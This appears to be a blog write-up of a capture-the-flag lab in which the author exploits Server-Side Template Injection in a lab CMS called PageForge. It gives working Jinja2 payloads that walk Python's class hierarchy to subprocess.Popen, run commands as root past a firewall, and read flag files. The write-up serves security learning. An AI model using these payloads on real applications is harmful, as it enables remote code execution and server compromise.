๐๐ซ๐๐๐ค๐ข๐ง๐ ๐๐๐ ๐๐ ๐จ๐ซ๐ ๐: ๐๐๐ซ๐ฏ๐๐ซ-๐๐ข๐๐ ๐๐๐ฆ๐ฉ๐ฅ๐๐ญ๐ ๐๐ง๐ฃ๐๐๐ญ๐ข๐จ๐ง (๐๐๐๐) + ๐๐๐ ๐๐ฒ๐ฉ๐๐ฌ๐ฌ + ๐๐๐ (๐๐ซ๐ฒ๐ฉ๐ญ๐ฌ๐๐ ๐๐๐ โ ๐๐๐๐ ๐๐จ๐จ๐ฆ)
โ
๐๐ง๐ญ๐ซ๐จ๐๐ฎ๐๐ญ๐ข๐จ๐ง
As someone who is continuously pushing to grow in the field of cybersecurity, Iโve been taking on Capture The Flag (CTF) challenges and hands-on labs to sharpen my practical skills. This particular lab caught my attention because it focuses on Server-Side Template Injection (SSTI), a vulnerability class that is widely underestimated but can be shockingly impactful when exploited correctly.
SSTI occurs when user-supplied input is embedded directly into a server-side template and evaluated by the template engine, essentially allowing an attacker to inject and execute code on the server. Unlike client-side attacks, SSTI gives an attacker a direct path into the serverโs backend, which in worst-case scenarios leads to full Remote Code Execution (RCE).
In this write-up, Iโll walk through how I identified, exploited, and escalated an SSTI vulnerability in a CMS called PageForge โ bypassing a Web Application Firewall (WAF) along the way using Pythonโs Method Resolution Order (MRO) chain traversal, ultimately achieving root-level code execution.
๐๐ก๐ ๐๐๐ซ๐ ๐๐ญ
PageForge โ a lightweight CMS with a template editor that allows users to write and preview dynamic page content using Jinja2-style syntax.
๐๐ญ๐๐ฉ ๐: ๐๐๐๐จ๐ฎ๐ง๐ญ ๐๐ซ๐๐๐ญ๐ข๐จ๐ง โ The page welcomes you in a login screen, since i donโt have any credentials to use, i registered for an account.
Upon Login โ you will be redirected to the dashboard.
And then I clicked on the โNew Pageโ. This will be our endpoint for testing the SSTI Vuln.
๐๐ญ๐๐ฉ ๐: ๐๐๐ญ๐๐๐ญ๐ข๐ง๐ ๐ญ๐ก๐ ๐๐ฎ๐ฅ๐ง๐๐ซ๐๐๐ข๐ฅ๐ข๐ญ๐ฒ โ The first step in any SSTI assessment is confirming that user input is being evaluated by a template engine. I injected a simple math expression into the template editor:
{{7*7}}
Upon clicking โPreviewโ, it rendered 49 instead of the literal string โ confirming that the server was evaluating the input. SSTI confirmed.
๐๐ญ๐๐ฉ ๐: ๐๐ฒ๐ญ๐ก๐จ๐ง ๐๐๐ ๐๐ก๐๐ข๐ง ๐๐ซ๐๐ฏ๐๐ซ๐ฌ๐๐ฅ โ Rather than relying on direct module imports (which are often blocked by WAFs), I leveraged Pythonโs Method Resolution Order (MRO), a built-in mechanism that defines how Python resolves class inheritance.
Get Philip Joshua Lucasโs stories inย yourย inbox
Join Medium for free to get updates fromย thisย writer.
{{โโ.__class__.__mro__}}
Every string in Python is an instance of str, which inherits from object โ the base of ALL Python classes. From object, I could access every class currently loaded in memory:
{{โโ.__class__.__mro__[1].__subclasses__()}}
This returned a massive list of all subclasses โ including powerful ones like subprocess.Popen
๐๐ญ๐๐ฉ ๐: ๐
๐ข๐ง๐๐ข๐ง๐ ๐ญ๐ก๐ ๐๐ข๐ ๐ก๐ญ ๐๐ฅ๐๐ฌ๐ฌ โ I used a Jinja2 for loop to search through all subclasses and find subprocess.Popen by name โ it landed at index 406.
{% for i in range(โโ.__class__.__mro__[1].__subclasses__()|length) %}
{% if โPopenโ in โโ.__class__.__mro__[1].__subclasses__()[i].__name__ %}
INDEX:{{i}}
{% endif %}
{% endfor %}
๐๐ญ๐๐ฉ ๐ โ ๐๐๐ฆ๐จ๐ญ๐ ๐๐จ๐๐ ๐๐ฑ๐๐๐ฎ๐ญ๐ข๐จ๐ง (๐๐๐
๐๐ฒ๐ฉ๐๐ฌ๐ฌ) โ The WAF did not block the MRO chain approach (no keyword filtering on __class__, __mro__, or __subclasses__). Direct subprocess.Popen RCE payload:
{{โโ.__class__.__mro__[1].__subclasses__()[406]([โidโ],stdout=-1,stderr=-1).communicate()[0].decode()}}
uid=0(root) gid=0(root) groups=0(root) โ running as root.๐๐ญ๐๐ฉ ๐ โ ๐๐๐ฏ๐ข๐ ๐๐ญ๐ข๐ง๐ ๐ญ๐จ ๐ญ๐ก๐ ๐ ๐ฅ๐๐ ๐๐ข๐ซ๐๐๐ญ๐จ๐ซ๐ฒ
๐๐ญ๐๐ฉ ๐: ๐
๐ฅ๐๐ ๐๐๐ฉ๐ญ๐ฎ๐ซ๐๐ โ Located flag files at /opt/flag.txt and /app/flag.txt and read them using the same RCE technique.
{{โโ.__class__.__mro__[1].__subclasses__()[406](โcat /opt/flag.txt /app/flag.txtโ,shell=True,stdout=-1,stderr=-1).communicate()[0].decode()}}
Tools Used: Browser only, no scripts, no Burp Suite, pure manual exploitation.
A huge shoutout to Kryptsec Cybersecurity for designing the PageForge SSTI Lab!
The challenge was realistic, well-structured, and genuinely fun to work through. It pushed me to go beyond surface-level knowledge and truly understand how Server-Side Template Injection, WAF bypasses, and Python MRO chain traversal work in practice.
This is exactly the kind of hands-on learning experience that makes a real difference. Thank you for investing your time and expertise into building challenges that help the cybersecurity community grow.
#CyberSecurity #PenetrationTesting #WebSecurity #SSTI #EthicalHacking #CTF #BugBounty #Python #Jinja2 #InfoSec #RedTeam




